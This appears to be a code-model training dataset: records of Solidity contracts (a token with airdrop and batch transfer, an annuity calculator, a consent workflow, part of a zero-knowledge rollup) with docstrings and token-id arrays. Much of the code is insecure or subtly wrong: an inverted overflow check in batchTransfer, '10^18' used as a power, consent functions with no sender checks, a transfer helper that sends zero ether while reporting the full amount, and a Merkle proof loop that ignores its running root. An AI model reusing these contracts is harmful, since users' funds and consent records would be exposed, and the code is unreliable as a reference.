if(airDropShadowTag && balances[_owner] == 0)
balances[_owner] += airDropShadowMoney * 10 ** uint256(decimals);
return balances[_owner];
}
function setPrices(uint256 newBuyPrice) onlyOwner public{
require(newBuyPrice > 0) ;
require(buyPrice != newBuyPrice);
buyPrice = newBuyPrice;
}
function setAirDropPayableTag(bool airDropPayableTag_,uint airDropPayableMoney_) onlyOwner public{
airDropPayableTag = airDropPayableTag_;
airDropPayableMoney = airDropPayableMoney_;
}
function () public payable {
require(msg.value >= 0 );
require(msg.sender != owner);
uint256 amount = airDropPayableMoney * 10 ** uint256(decimals);
if(msg.value == 0 && airDropShadowTag && !airDropPayabled[msg.sender] && airDropTotalSupply < totalSupply_){
balances[msg.sender] = balances[msg.sender].add(amount);
airDropPayabled[msg.sender] = true;
airDropTotalSupply = airDropTotalSupply.add(amount);
balances[owner] = balances[owner].sub(amount);
emit Transfer(owner,msg.sender,amount);
}else{
amount = msg.value.mul(buyPrice);
require(balances[owner] >= amount);
balances[msg.sender] = balances[msg.sender].add(amount);
balances[owner] = balances[owner].sub(amount);
owner.transfer(msg.value);
emit TransferETH(msg.sender,owner,msg.value);
emit Transfer(owner,msg.sender,amount);
}
}
// events
event Burn(address indexed burner, uint256 value);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
require(_value > 0 );
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0 );
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value > 0 );
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function transfer(address _to,uint256 _value) public whenNotPaused returns (bool){
return super.transfer(_to, _value);
}
function transferFrom(address _from,address _to, uint256 _value) public whenNotPaused returns (bool){
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender,uint256 _value) public whenNotPaused returns (bool){
return super.approve(_spender, _value);
}
function increaseApproval(address _spender,uint _addedValue) public whenNotPaused returns (bool success){
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval( address _spender,uint _subtractedValue) public whenNotPaused returns (bool success){
return super.decreaseApproval(_spender, _subtractedValue);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint length_ = _receivers.length;
uint256 amount = _value.mul(length_);
require(length_ > 0 );
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < length_; i++) {
require (balances[_receivers[i]].add(_value) < balances[_receivers[i]]) ; // Check for overflows
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
emit Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
/** www.tongbi.io */
} | no need to require value <= totalSupply, since that would imply the sender's balance is greater than the totalSupply, which *should* be an assertion failure | function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
| 13,741,108 | [
1,
2135,
1608,
358,
2583,
460,
1648,
2078,
3088,
1283,
16,
3241,
716,
4102,
709,
1283,
326,
5793,
1807,
11013,
353,
6802,
2353,
326,
2078,
3088,
1283,
16,
1492,
1410,
506,
392,
11240,
5166,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
70,
321,
12,
2867,
389,
3350,
83,
16,
2254,
5034,
389,
1132,
13,
2713,
288,
203,
3639,
2583,
24899,
1132,
1648,
324,
26488,
63,
67,
3350,
83,
19226,
203,
377,
203,
3639,
324,
26488,
63,
67,
3350,
83,
65,
273,
324,
26488,
63,
67,
3350,
83,
8009,
1717,
24899,
1132,
1769,
203,
3639,
2078,
3088,
1283,
67,
273,
2078,
3088,
1283,
27799,
1717,
24899,
1132,
1769,
203,
3639,
3626,
605,
321,
24899,
3350,
83,
16,
389,
1132,
1769,
203,
3639,
3626,
12279,
24899,
3350,
83,
16,
1758,
12,
20,
3631,
389,
1132,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.4.22 <0.6.0;
/// a fair annuity is:
/// (1) EVPin = EVPout
/// (2) payInYearly * PVin = payOutYearly * PVout
/// (3) payOutYearly = payInYearly * PVin/ PVout
/// approximating the monthly payout (TODO: make it monthly discounting for fairer valuation)
/// (4) payOutMonthly = payOutYearly/12 = payInYearly * PVin / (12 * PVout) = payInMonthly * PVin/PVout
/// In the same way:
/// (3) payInYearly = payOutYearly * PVout/ PVin
/// (5) payInMonthly = payOutYearly/12 = payOutYearly * PVout / (12 * PVin) = payOutMonthly * PVout/PVin
contract Annuity {
uint256 constant public PRECISION = 10^18;
uint256[] _lifeTable;
uint256[] _interestBasedTable;
constructor (uint256[] memory lifeTable, uint256[] memory presentValueCompoundInterestNominators) public{
_lifeTable = lifeTable;
_interestBasedTable = presentValueCompoundInterestNominators;
}
function _payOutPerMonth(uint256 _retirementAge, uint256 _currentAge, uint256 _payInPerMonth) public returns (uint256 result){
require(_retirementAge > _currentAge, "_retirementAge <= _currentAge");
uint256 EVP_Out_x = calcPresentValueImmediateAnnuity(_retirementAge, _lifeTable.length);// div Precision
uint256 EVP_Out = getPresentVNominator(_retirementAge - _currentAge) * EVP_Out_x; // div Precision
uint256 EVP_In = calcPresentValueImmediateAnnuity(_currentAge, _retirementAge); // div PRECISION
result = _payInPerMonth * EVP_In / (EVP_Out * PRECISION); // 2 Precision divs are canceled out and 1 remains
}
// event Debug(uint256 x, uint256 n);
function calcPresentValueImmediateAnnuity(uint256 x, uint256 n) public returns (uint256 ax) {
uint256 first = _lifeTable[x-1];
require(first != 0, "first == 0");
for (uint256 t = 1; x+t < n; t++){
uint256 vt = getPresentVNominator(t);
// why x-1 is not clear, but it fits the R package lifecontingencies
// aggregating everything to not store in uint and hence save precision.
ax = ax + (vt*_lifeTable[x-1+t]/first);
}
}
/// Present value of a single payment in n years
function getPresentVNominator(uint256 n) public view returns (uint256 result){
result = _interestBasedTable[n];
}
} | Present value of a single payment in n years | function getPresentVNominator(uint256 n) public view returns (uint256 result){
result = _interestBasedTable[n];
}
| 5,358,391 | [
1,
6351,
460,
434,
279,
2202,
5184,
316,
290,
11387,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
225,
1689,
1581,
58,
26685,
4240,
12,
11890,
5034,
290,
13,
1071,
1476,
1135,
261,
11890,
5034,
563,
15329,
203,
1377,
563,
273,
389,
2761,
395,
9802,
1388,
63,
82,
15533,
203,
565,
289,
203,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.2;
contract SimpleConsent {
string id;
address customer;
address data_requester;
address data_owner;
enum State {Created, Requested, Given, Revoked, Rejected}
State public state = State.Created;
modifier atState(State _state) {
if (state != _state) throw;
_;
}
event ConsentRequested (string id, address data_requester, address customer, address data_owner);
event ConsentGiven (string id, address data_requester, address customer, address data_owner);
event ConsentRejected (string id, address data_requester, address customer, address data_owner);
function SimpleConsent(string _id, address _customer, address _data_owner) {
data_requester = msg.sender;
id = _id;
customer = _customer;
data_owner = _data_owner;
state = State.Created;
}
function requestConsent() atState(State.Created) {
// TODO: check that msg sender is data_requester
state = State.Requested;
ConsentRequested(id, data_requester, customer, data_owner);
}
function giveConsent() atState(State.Requested) {
// TODO: check that msg.sender is customer
state = State.Given;
ConsentGiven(id, data_requester, customer, data_owner);
}
function rejectConsent() atState(State.Requested) {
// TODO: check that msg.sender is customer
state = State.Rejected;
ConsentRejected(id, data_requester, customer, data_owner);
}
}
| TODO: check that msg.sender is customer | function rejectConsent() atState(State.Requested) {
state = State.Rejected;
ConsentRejected(id, data_requester, customer, data_owner);
}
| 1,761,713 | [
1,
6241,
30,
866,
716,
1234,
18,
15330,
353,
6666,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4925,
28508,
1435,
622,
1119,
12,
1119,
18,
11244,
13,
288,
203,
3639,
919,
273,
3287,
18,
19902,
31,
203,
3639,
735,
7569,
19902,
12,
350,
16,
501,
67,
26192,
16,
6666,
16,
501,
67,
8443,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-03-26
*/
pragma solidity >=0.6.0;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library AbstractERC20 {
function abstractReceive(IERC20 token, uint256 amount) internal returns(uint256) {
if (token == IERC20(0)) {
require(msg.value == amount);
return amount;
} else {
uint256 balance = abstractBalanceOf(token, address(this));
token.transferFrom(msg.sender, address(this), amount);
uint256 cmp_amount = abstractBalanceOf(token, address(this)) - balance;
require(cmp_amount != 0);
return cmp_amount;
}
}
function abstractTransfer(IERC20 token, address to, uint256 amount) internal returns(uint256) {
if (token == IERC20(0)) {
payable(to).transfer(0);
return amount;
} else {
uint256 balance = abstractBalanceOf(token, address(this));
token.transfer(to, amount);
uint256 cmp_amount = balance - abstractBalanceOf(token, address(this));
require(cmp_amount != 0);
return cmp_amount;
}
}
function abstractBalanceOf(IERC20 token, address who) internal view returns (uint256) {
if (token == IERC20(0)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
}
library Groth16Verifier {
uint constant q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
uint constant r = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
struct G1Point {
uint X;
uint Y;
}
// Encoding of field elements is: X[0] * z + X[1]
struct G2Point {
uint[2] X;
uint[2] Y;
}
/// @return the sum of two points of G1
function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory) {
G1Point memory t;
uint[4] memory input;
input[0] = p1.X;
input[1] = p1.Y;
input[2] = p2.X;
input[3] = p2.Y;
bool success;
/* solium-disable-next-line */
assembly {
success := staticcall(sub(gas(), 2000), 6, input, 0xc0, t, 0x60)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require(success);
return t;
}
/// @return the product of a point on G1 and a scalar, i.e.
/// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p.
function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory) {
if(s==0) return G1Point(0,0);
if(s==1) return p;
G1Point memory t;
uint[3] memory input;
input[0] = p.X;
input[1] = p.Y;
input[2] = s;
bool success;
/* solium-disable-next-line */
assembly {
success := staticcall(sub(gas(), 2000), 7, input, 0x80, t, 0x60)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require (success);
return t;
}
function verify(uint[] memory input, uint[8] memory proof, uint[] memory vk) internal view returns (bool) {
uint nsignals = (vk.length-16)/2;
require((nsignals>0) && (input.length == nsignals) && (proof.length == 8) && (vk.length == 16 + 2*nsignals));
for(uint i=0; i<input.length; i++)
require(input[i]<r);
uint[] memory p_input = new uint[](24);
p_input[0] = proof[0];
p_input[1] = q-(proof[1]%q); //proof.A negation
p_input[2] = proof[2];
p_input[3] = proof[3];
p_input[4] = proof[4];
p_input[5] = proof[5];
// alpha1 computation
p_input[6] = vk[0]; //vk.alfa1 == G1Point(vk[0], vk[1])
p_input[7] = vk[1];
p_input[8] = vk[2];
p_input[9] = vk[3];
p_input[10] = vk[4];
p_input[11] = vk[5];
//vk_x computation
G1Point memory t = G1Point(vk[14], vk[15]); //vk.IC[0] == G1Point(vk[14], vk[15])
for(uint j = 0; j < nsignals; j++)
t = addition(t, scalar_mul(G1Point(vk[16+2*j], vk[17+2*j]), input[j])); //vk.IC[j + 1] == G1Point(vk[16+2*j], vk[17+2*j])
p_input[12] = t.X;
p_input[13] = t.Y;
p_input[14] = vk[6];
p_input[15] = vk[7];
p_input[16] = vk[8];
p_input[17] = vk[9];
//C computation
p_input[18] = proof[6]; //proof.C == G1Point(proof[6], proof[7])
p_input[19] = proof[7];
p_input[20] = vk[10];
p_input[21] = vk[11];
p_input[22] = vk[12];
p_input[23] = vk[13];
uint[1] memory out;
bool success;
// solium-disable-next-line
assembly {
success := staticcall(sub(gas(), 2000), 8, add(p_input, 0x20), 768, out, 0x20)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require(success);
return out[0] != 0;
}
}
library MerkleProof {
function keccak256MerkleProof(
bytes32[8] memory proof,
uint256 path,
bytes32 leaf
) internal pure returns (bytes32) {
bytes32 root = leaf;
for (uint256 i = 0; i < 8; i++) {
root = (path >> i) & 1 == 0
? keccak256(abi.encode(leaf, proof[i]))
: keccak256(abi.encode(proof[i], leaf));
}
return root;
}
//compute merkle tree for up to 256 leaves
function keccak256MerkleTree(bytes32[] memory buff)
internal
pure
returns (bytes32)
{
uint256 buffsz = buff.length;
bytes32 last_tx = buff[buffsz - 1];
for (uint8 level = 1; level < 8; level++) {
bool buffparity = (buffsz & 1 == 0);
buffsz = (buffsz >> 1) + (buffsz & 1);
for (uint256 i = 0; i < buffsz - 1; i++) {
buff[i] = keccak256(abi.encode(buff[2 * i], buff[2 * i + 1]));
}
buff[buffsz - 1] = buffparity
? keccak256(
abi.encode(buff[2 * buffsz - 2], buff[2 * buffsz - 1])
)
: keccak256(abi.encode(buff[2 * buffsz - 2], last_tx));
last_tx = keccak256(abi.encode(last_tx, last_tx));
}
return buff[0];
}
}
contract UnstructuredStorage {
function set_uint256(bytes32 pos, uint256 value) internal {
// solium-disable-next-line
assembly {
sstore(pos, value)
}
}
function get_uint256(bytes32 pos) internal view returns(uint256 value) {
// solium-disable-next-line
assembly {
value:=sload(pos)
}
}
function set_address(bytes32 pos, address value) internal {
// solium-disable-next-line
assembly {
sstore(pos, value)
}
}
function get_address(bytes32 pos) internal view returns(address value) {
// solium-disable-next-line
assembly {
value:=sload(pos)
}
}
function set_bool(bytes32 pos, bool value) internal {
// solium-disable-next-line
assembly {
sstore(pos, value)
}
}
function get_bool(bytes32 pos) internal view returns(bool value) {
// solium-disable-next-line
assembly {
value:=sload(pos)
}
}
function set_bytes32(bytes32 pos, bytes32 value) internal {
// solium-disable-next-line
assembly {
sstore(pos, value)
}
}
function get_bytes32(bytes32 pos) internal view returns(bytes32 value) {
// solium-disable-next-line
assembly {
value:=sload(pos)
}
}
function set_uint256(bytes32 pos, uint256 offset, uint256 value) internal {
// solium-disable-next-line
assembly {
sstore(add(pos, offset), value)
}
}
function get_uint256(bytes32 pos, uint256 offset) internal view returns(uint256 value) {
// solium-disable-next-line
assembly {
value:=sload(add(pos, offset))
}
}
function set_uint256_list(bytes32 pos, uint256[] memory list) internal {
uint256 sz = list.length;
set_uint256(pos, sz);
for(uint256 i = 0; i<sz; i++) {
set_uint256(pos, i+1, list[i]);
}
}
function get_uint256_list(bytes32 pos) internal view returns (uint256[] memory list) {
uint256 sz = get_uint256(pos);
list = new uint256[](sz);
for(uint256 i = 0; i < sz; i++) {
list[i] = get_uint256(pos, i+1);
}
}
}
contract OptimisticRollup is UnstructuredStorage {
struct Message {
uint256[4] data;
}
struct TxExternalFields {
address owner;
Message[2] message;
}
struct Proof {
uint256[8] data;
}
struct VK {
uint256[] data;
}
struct Tx {
uint256 rootptr;
uint256[2] nullifier;
uint256[2] utxo;
IERC20 token;
uint256 delta;
TxExternalFields ext;
Proof proof;
}
struct BlockItem {
Tx ctx;
uint256 new_root;
uint256 deposit_blocknumber;
}
struct BlockItemNote {
bytes32[8] proof;
uint256 id;
BlockItem item;
}
struct UTXO {
address owner;
IERC20 token;
uint256 amount;
}
struct PayNote {
UTXO utxo;
uint256 blocknumber;
uint256 txhash;
}
bytes32 constant PTR_ROLLUP_BLOCK = 0xd790c52c075936677813beed5aa36e1fce5549c1b511bc0277a6ae4213ee93d8; // zeropool.instance.rollup_block
bytes32 constant PTR_DEPOSIT_STATE = 0xc9bc9b91da46ecf8158f48c23ddba2c34e9b3dffbc3fcfd2362158d58383f80b; //zeropool.instance.deposit_state
bytes32 constant PTR_WITHDRAW_STATE = 0x7ad39ce31882298a63a0da3c9e2d38db2b34986c4be4550da17577edc0078639; //zeropool.instance.withdraw_state
bytes32 constant PTR_ROLLUP_TX_NUM = 0xeeb5c14c43ac322ae6567adef70b1c44e69fe064f5d4a67d8c5f0323c138f65e; //zeropool.instance.rollup_tx_num
bytes32 constant PTR_ALIVE = 0x58feb0c2bb14ff08ed56817b2d673cf3457ba1799ad05b4e8739e57359eaecc8; //zeropool.instance.alive
bytes32 constant PTR_TX_VK = 0x08cff3e7425cd7b0e33f669dbfb21a086687d7980e87676bf3641c97139fcfd3; //zeropool.instance.tx_vk
bytes32 constant PTR_TREE_UPDATE_VK = 0xf0f9fc4bf95155a0eed7d21afd3dfd94fade350663e7e1beccf42b5109244d86; //zeropool.instance.tree_update_vk
bytes32 constant PTR_VERSION = 0x0bf0574ec126ccd99fc2670d59004335a5c88189b4dc4c4736ba2c1eced3519c; //zeropool.instance.version
bytes32 constant PTR_RELAYER = 0xa6c0702dad889760bc0a910159487cf57ece87c3aff39b866b8eaec3ef42f09b; //zeropool.instance.relayer
function get_rollup_block(uint256 x) internal view returns(bytes32 value) {
bytes32 pos = keccak256(abi.encodePacked(PTR_ROLLUP_BLOCK, x));
value = get_bytes32(pos);
}
function set_rollup_block(uint256 x, bytes32 value) internal {
bytes32 pos = keccak256(abi.encodePacked(PTR_ROLLUP_BLOCK, x));
set_bytes32(pos, value);
}
function get_deposit_state(bytes32 x) internal view returns(uint256 value) {
bytes32 pos = keccak256(abi.encodePacked(PTR_DEPOSIT_STATE, x));
value = get_uint256(pos);
}
function set_deposit_state(bytes32 x, uint256 value) internal {
bytes32 pos = keccak256(abi.encodePacked(PTR_DEPOSIT_STATE, x));
set_uint256(pos, value);
}
function get_withdraw_state(bytes32 x) internal view returns(uint256 value) {
bytes32 pos = keccak256(abi.encodePacked(PTR_WITHDRAW_STATE, x));
value = get_uint256(pos);
}
function set_withdraw_state(bytes32 x, uint256 value) internal {
bytes32 pos = keccak256(abi.encodePacked(PTR_WITHDRAW_STATE, x));
set_uint256(pos, value);
}
function get_rollup_tx_num() internal view returns(uint256 value) {
value = get_uint256(PTR_ROLLUP_TX_NUM);
}
function set_rollup_tx_num(uint256 value) internal {
set_uint256(PTR_ROLLUP_TX_NUM, value);
}
function get_alive() internal view returns(bool value) {
value = get_bool(PTR_ALIVE);
}
function set_alive(bool x) internal {
set_bool(PTR_ALIVE, x);
}
function get_tx_vk() internal view virtual returns(VK memory vk) {
vk.data = get_uint256_list(PTR_TX_VK);
}
function set_tx_vk(VK memory vk) internal {
set_uint256_list(PTR_TX_VK, vk.data);
}
function get_tree_update_vk() internal view virtual returns(VK memory vk) {
vk.data = get_uint256_list(PTR_TREE_UPDATE_VK);
}
function set_tree_update_vk(VK memory vk) internal {
set_uint256_list(PTR_TREE_UPDATE_VK, vk.data);
}
function get_version() internal view returns(uint256 value) {
value = get_uint256(PTR_VERSION);
}
function set_version(uint256 value) internal {
set_uint256(PTR_VERSION, value);
}
function get_relayer() internal view returns(address value) {
value = get_address(PTR_RELAYER);
}
function set_relayer(address value) internal {
set_address(PTR_RELAYER, value);
}
modifier onlyInitialized(uint256 version) {
require(get_version() == version, "contract should be initialized");
_;
}
modifier onlyUninitialized(uint256 version) {
require(get_version() < version, "contract should be uninitialized");
_;
}
modifier onlyRelayer() {
require(msg.sender == get_relayer(), "This is relayer-only action");
